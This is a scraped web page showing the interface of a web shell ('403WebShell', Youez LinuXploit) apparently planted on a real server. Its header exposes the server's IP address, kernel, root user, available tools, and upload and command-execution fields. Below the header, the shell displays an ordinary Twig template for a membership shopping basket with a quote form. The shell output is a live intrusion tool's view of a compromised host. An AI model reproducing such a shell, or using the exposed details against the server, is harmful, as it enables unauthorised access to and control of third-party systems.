WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/templates/membership/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/templates/membership/index.html.twig
{% extends 'membership/layout.html.twig' %}

{% block title %}Membership{% endblock %}

 {% block contributor_body %}
     <div class="app_main_inner">
         <div class="alert alert-danger" style="display: none"></div>
         <div class="alert alert-success" style="display: none"></div>


         {% if app.user.suspendedMember %}
             <div class="user_container">
                 <p>Your account has been suspended </p>
                 <b>Reason:</b>
                 <p>{{ app.user.suspensionReason }}</p><br>
                 <p>Please contact the admin for enquiries</p>
             </div>
         {% else %}

             <ul class="member_page_tabs">
                 <li class="current"><a href="">Shopping Basket ({{ cart.cartItems | length }})</a></li>
                 <li><a href="{{ path('membershp_download') }}">Purchase History ({{ invoiceItemsCount }})</a></li>
                 <li><a href="{{ path('membershp_recently_viewed') }}">Recently Viewed ({{ stockRecentViews|length }})</a></li>
             </ul>
             <div class="user_container">
                 {% if cart.cartItems|length > 0 %}
                     <div class="datagrid cart_table show-basket" data-remove-from-cart-url = "{{ path('cart_item_remove') }}">
                         <table>
                             <thead>
                             <tr>
                                 <th>File</th>
                                 <th>File ID</th>
                                 <th>Title</th>
                                 <th>Licence Type</th>
                                 <th>Calculate Price</th>
                                 <th>Price</th>
                                 <th>Remove</th>
                             </tr>
                             </thead>
                             <tbody>
                             {% for item in cart.cartItems %}
                                 <tr>
                                     <td data-label="File">
                                         <img src="{{asset(item.thumbNailUrl)}}" class="cart_thumbnail">
                                     </td>
                                     <td data-label="File ID">{{ item.stock.formattedId ? item.stock.formattedId : item.stock.id }}</td>
                                     <td data-label="Title">{{ item.stock.title }}</td>
                                     <td data-label="Licence Type">
                                         {% if item.size == 'small' %}
                                             {%  set size = 'Small' %}
                                         {% elseif item.size == 'large' %}
                                             {% set size ='Large' %}
                                          {% elseif item.size == 'medium' %}
                                              {% set size ='Medium' %}
                                           {% else %}
                                               {% set size = item.size %}
                                         {% endif %}

                                         {{ item.stock.licenceType }} ({{ size }})
                                         {% if item.exclusiveLicence != 'None' %}
                                         {% if item.exclusiveLicence %}
                                             - Exclusive for
                                             {% if item.exclusiveLicenceDuration / 12 >= 1 %}
                                                 {% if item.exclusiveLicenceDuration / 12 > 1  %}
                                                     {% set durationIn = " years" %}
                                                 {% else %}
                                                     {% set durationIn = " year" %}
                                                 {% endif %}
                                             {% else %}
                                                 {% if item.exclusiveLicenceDuration > 1  %}
                                                     {% set durationIn = " months" %}
                                                 {% else %}
                                                     {% set durationIn = " month" %}
                                                 {% endif %}

                                             {% endif %}
                                             {{ item.exclusiveLicenceDuration / 12 >= 1 ? item.exclusiveLicenceDuration/12 ~ durationIn : item.exclusiveLicenceDuration ~ durationIn }}
                                             {#{{ item.exclusiveLicence / 12 >= 1 ? item.exclusiveLicence/12 ~ durationIn : item.exclusiveLicence ~ durationIn }}#}
                                         {% endif %}
                                         {% endif %}
                                     </td>
                                     <td data-label="Calculate Price"> <a href="" onclick="recalculate(event)" data-url="{{ path('recalculate_item', {id: item.stock.id}) }}" data-id="{{ item.stock.id }}">Re-calculate Price</a></td>
                                     <td data-label="Price">${{ item.amount }}</td>
                                     <td data-label="Remove">
                                         <a href="" data-url=""  data-id="{{ item.stock.id }}" class="delete_icon_cart" data-file="img_5d5127ecae376.jpeg">
                                             <svg class="item_svg_icon">
                                                 <use xlink:href="#delete"></use>
                                             </svg>
                                         </a>
                                     </td>
                                 </tr>
                             {% endfor %}
                             <tr class="alt">
                                 <td colspan="8" align="right"><h3 class="total_amount">Total Price: ${{ cart.total }}</h3></td>
                             </tr>
                             </tbody>
                         </table>
                         <div class="add_more_item_cart">
                             Click <a href="{{ path('home_index') }}">here</a> to add more items.
                         </div>
                         <div class="text_right">
                             <button class="checkout_btn" data-url="{{ path('membershp_checkout') }}">Checkout</button>
                         </div>
                     </div>
                     <div class="get_a_quote">
                         <h4>Get a quote</h4>
                         <p>Provide one or more email addresses and a quotation of the items in your shopping basket will be sent shortly.
                            <br>Separate multiple emails with a comma.
                         </p>
                         <form action="{{ path('membershp_get_quote') }}" name="quote_form" method="post">
                             <div class="">
                                 <div class="form_group"><input type="text" name="emailTo" required placeholder="Email Address"></div>
                             </div>
                             <div class="form_group"><input type="submit" class="small_btn" value="Get A Quote"></div>
                         </form>
                         <div class="sending" style="display: none"></div>
                     </div>
                 {% else %}
                     <p>You have no items in your basket. Click <a href="{{ path('home_index') }}">here</a> to shop.</p>
                 {% endif %}
             </div>

         {% endif %}
     </div>

     {% block javascripts %}
         <script type='text/javascript' src='{{asset('bundles/fosjsrouting/js/router.js')}}'></script>
         <script src="{{ path('fos_js_routing_js', { callback: 'fos.Router.setData' }) }}"></script>
         <script type='text/javascript' src='{{ asset('js/buy.js') }}'></script>
         <script>
             $(document).ready(function () {
                 let quotes_field = $('[name=emailTo]');
                 quotes_field.tagsInput(
                     {
                         'defaultText': 'Emails',
                         confirmKeys: [13, 44, 188]

                     }
                 );

                 // $(document).on("textInput", quotes_field, function (e) {
                 //     var keyCode = e.originalEvent.data.charCodeAt(0);
                 //
                 //     if(keyCode == 44) {
                 //         let tags = quotes_field.replace(/\s/g, '')
                 //         tags = tags.split(',');
                 //        let last_index = tags.length - 1 ;
                 //         alert(tags[last_index]);
                 //        if(tags[last_index] != 'undefined' ){
                 //
                 //            quotes_field.addTag(tags[last_index])
                 //            quotes_field.removeTag(',Emails')
                 //        }
                 //
                 //     }
                 // });

                 let form = $('[name=quote_form]');

                 form.on("submit", function (e) {
                     e.preventDefault();
                     if ($(".tagsinput").is("empty")) {
                         console.log("empty")
                     }
                     let emails = [];
                     let valid = true;
                     form.find(".tag").each(function (i, e) {
                         let txt = $(e).find("span:first-child").text();
                         valid = validateEmail(String(txt.trim()));
                         if (valid) {
                             emails.push(txt.trim());
                         }
                     });

                     if (valid) {
                         let url = form.attr("action");
                         // $(".quote_btn").hide()
                         // $(".sending").show()
                         $.post(
                             url,
                             {
                                 emails: emails
                             },
                             function (data, status) {
                                 $(".alert-success").text(data.message).show().delay(3000).fadeOut();
                                 form.find(".tag").each(function (index, element) {
                                     $(element).remove();
                                 });
                                 // $(".quote_btn").show()
                                 // $(".sending").fadeOut()
                             }
                         );
                     } else {
                         $(".alert-danger").text("Please enter valid email addresses").show().delay(3000).fadeOut();
                     }
                 });

                 function validateEmail(email) {
                     var re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
                     return re.test(String(email).toLowerCase());
                 }
             })
         </script>
     {% endblock %}

 {% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit